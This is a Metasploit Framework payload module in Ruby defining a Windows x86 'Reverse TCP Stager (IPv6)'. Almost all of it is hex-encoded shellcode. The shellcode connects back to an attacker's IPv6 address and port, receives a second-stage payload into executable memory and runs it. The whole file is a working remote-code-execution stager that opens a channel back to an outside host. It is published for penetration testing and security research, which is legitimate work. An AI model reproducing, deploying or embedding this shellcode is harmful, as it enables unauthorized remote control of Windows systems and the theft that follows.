##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/reverse_tcp'


module MetasploitModule

  CachedSize = 289

  include Msf::Payload::Stager
  include Msf::Payload::Windows


  def self.handler_type_alias
    "reverse_ipv6_tcp"
  end

  def initialize(info = {})

    super(merge_info(info,
      'Name'          => 'Reverse TCP Stager (IPv6)',
      'Description'   => 'Connect back to the attacker over IPv6',
      'Author'        => ['hdm', 'skape', 'sf'],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Convention'    => 'sockedi',
      'Stager'        =>
        {
          'RequiresMidstager' => false,
          'Offsets' =>
            {
              'LPORT'   => [ 200, 'n'     ],
              'LHOST'   => [ 206, 'ADDR6' ],
              'SCOPEID' => [ 222, 'V'     ]
            },
          'Payload' =>
            "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
            "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
            "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
            "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
            "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
            "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
            "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
            "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
            "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
            "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x04\x02\x00\x00" +
            "\x29\xC4\x48\x48\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50" +
            "\x6A\x06\x40\x50\x6A\x17\x68\xEA\x0F\xDF\xE0\xFF\xD5\x89\xC7\x6A" +
            "\x1C\xE8\x1C\x00\x00\x00\x17\x00\x11\x5C\x00\x00\x00\x00\xB1\xBB" +
            "\xBB\xBB\xBB\xBB\xBB\xBB\xC1\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xA1\xAA" +
            "\xAA\xAA\x57\x68\x99\xA5\x74\x61\xFF\xD5\x89\xE6\x6A\x00\x6A\x04" +
            "\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10" +
            "\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00" +
            "\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE" +
            "\xC3"
        }
      ))
    register_options(
      [
        OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])
      ])
  end

end
